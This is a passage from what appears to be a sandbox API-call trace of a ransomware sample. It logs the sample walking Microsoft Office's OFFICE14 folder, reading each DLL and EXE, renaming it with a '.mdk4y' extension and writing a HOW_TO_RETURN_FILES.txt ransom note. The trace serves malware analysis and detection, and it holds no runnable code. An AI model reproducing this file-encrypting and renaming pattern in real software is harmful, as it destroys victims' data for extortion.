out: lpPerformanceCount=0x37dee4*=1818037600000) returned 1 [0105.146] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7a998, lpOverlapped=0x0) returned 1 [0105.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818043300000) returned 1 [0105.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818043300000) returned 1 [0105.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.mdk4y")) returned 1 [0105.208] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.208] AreFileApisANSI () returned 1 [0105.208] GetACP () returned 0x4e4 [0105.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATLCONV.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ATLCONV.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0105.209] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818044200000) returned 1 [0105.212] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5e158, lpOverlapped=0x0) returned 1 [0105.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818048400000) returned 1 [0105.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818048400000) returned 1 [0105.258] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.mdk4y")) returned 1 [0105.259] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.259] AreFileApisANSI () returned 1 [0105.259] GetACP () returned 0x4e4 [0105.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Csi.dll", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Csi.dll.DLL", lpUsedDefaultChar=0x37df4c) returned 7 [0105.259] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.259] AreFileApisANSI () returned 1 [0105.259] GetACP () returned 0x4e4 [0105.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CsiSoap.dll", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CsiSoap.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0105.259] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.259] AreFileApisANSI () returned 1 [0105.259] GetACP () returned 0x4e4 [0105.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cultures", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Culturesdll", lpUsedDefaultChar=0x37df4c) returned 8 [0105.259] AreFileApisANSI () returned 1 [0105.259] GetACP () returned 0x4e4 [0105.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\") returned 65 [0105.262] AreFileApisANSI () returned 1 [0105.262] GetACP () returned 0x4e4 [0105.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0105.262] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0105.262] AreFileApisANSI () returned 1 [0105.262] GetACP () returned 0x4e4 [0105.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0105.262] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0105.262] AreFileApisANSI () returned 1 [0105.262] GetACP () returned 0x4e4 [0105.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFICE.ODF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OFFICE.ODFs", lpUsedDefaultChar=0x37dec0) returned 10 [0105.262] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0105.262] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0105.262] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0105.262] AreFileApisANSI () returned 1 [0105.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0105.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0105.263] GetFileType (hFile=0x130) returned 0x1 [0105.269] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.269] AreFileApisANSI () returned 1 [0105.269] GetACP () returned 0x4e4 [0105.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXPSRV.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXPSRV.DLLl", lpUsedDefaultChar=0x37df4c) returned 10 [0105.269] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818049900000) returned 1 [0105.269] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7eb48, lpOverlapped=0x0) returned 1 [0105.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818054800000) returned 1 [0105.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818054800000) returned 1 [0105.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.mdk4y")) returned 1 [0105.324] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.324] AreFileApisANSI () returned 1 [0105.324] GetACP () returned 0x4e4 [0105.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXP_PDF.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXP_PDF.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0105.324] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818061300000) returned 1 [0105.383] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21d78, lpOverlapped=0x0) returned 1 [0105.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818067800000) returned 1 [0105.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818067800000) returned 1 [0105.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.mdk4y")) returned 1 [0105.450] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.450] AreFileApisANSI () returned 1 [0105.450] GetACP () returned 0x4e4 [0105.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXP_XPS.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXP_XPS.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0105.450] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818072100000) returned 1 [0105.491] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11578, lpOverlapped=0x0) returned 1 [0105.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818079900000) returned 1 [0105.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818079900000) returned 1 [0105.570] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.mdk4y")) returned 1 [0105.571] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.571] AreFileApisANSI () returned 1 [0105.571] GetACP () returned 0x4e4 [0105.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLTLDR.EXE", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLTLDR.EXEL", lpUsedDefaultChar=0x37df4c) returned 10 [0105.571] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818080200000) returned 1 [0105.572] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26560, lpOverlapped=0x0) returned 1 [0105.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818085800000) returned 1 [0105.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818085800000) returned 1 [0105.630] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.mdk4y")) returned 1 [0105.686] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.687] AreFileApisANSI () returned 1 [0105.687] GetACP () returned 0x4e4 [0105.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IACOM2.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IACOM2.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0105.687] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818092800000) returned 1 [0105.698] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0105.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818098000000) returned 1 [0105.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818098000000) returned 1 [0105.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.mdk4y")) returned 1 [0105.766] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.766] AreFileApisANSI () returned 1 [0105.766] GetACP () returned 0x4e4 [0105.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LICLUA.EXE", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LICLUA.EXE", lpUsedDefaultChar=0x37df4c) returned 10 [0105.766] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818099700000) returned 1 [0105.767] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31d88, lpOverlapped=0x0) returned 1 [0105.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818102200000) returned 1 [0105.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818102200000) returned 1 [0105.794] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.mdk4y")) returned 1 [0105.794] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0105.794] AreFileApisANSI () returned 1 [0105.794] GetACP () returned 0x4e4 [0105.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSO.DLL", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSO.DLLEXE", lpUsedDefaultChar=0x37df4c) returned 7 [0105.794] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0105.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818102500000) returned 1 [0105.795] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0106.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818193400000) returned 1 [0106.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818193400000) returned 1 [0106.714] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.mdk4y")) returned 1 [0106.715] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0106.715] AreFileApisANSI () returned 1 [0106.715] GetACP () returned 0x4e4 [0106.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOICONS.EXE", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOICONS.EXE", lpUsedDefaultChar=0x37df4c) returned 12 [0106.715] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0106.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818194600000) returned 1 [0106.716] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x73b60, lpOverlapped=0x0) returned 1 [0106.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818197300000) returned 1 [0106.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818197300000) returned 1 [0106.747] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.mdk4y")) returned 1 [0106.748] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0106.748] AreFileApisANSI () returned 1 [0106.748] GetACP () returned 0x4e4 [0106.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSORES.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSORES.DLLXE", lpUsedDefaultChar=0x37df4c) returned 10 [0106.748] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0106.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818197900000) returned 1 [0106.749] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0106.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818207700000) returned 1 [0106.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818207700000) returned 1 [0106.863] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.mdk4y")) returned 1 [0106.864] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0106.864] AreFileApisANSI () returned 1 [0106.864] GetACP () returned 0x4e4 [0106.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msoshext.dll", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msoshext.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0106.864] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0106.864] AreFileApisANSI () returned 1 [0106.864] GetACP () returned 0x4e4 [0106.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOXEV.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOXEV.DLLll", lpUsedDefaultChar=0x37df4c) returned 10 [0106.864] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0106.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818209500000) returned 1 [0106.865] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdb50, lpOverlapped=0x0) returned 1 [0106.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818214100000) returned 1 [0106.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818214100000) returned 1 [0106.911] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.mdk4y")) returned 1 [0106.912] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0106.912] AreFileApisANSI () returned 1 [0106.912] GetACP () returned 0x4e4 [0106.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOXMLED.EXE", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | 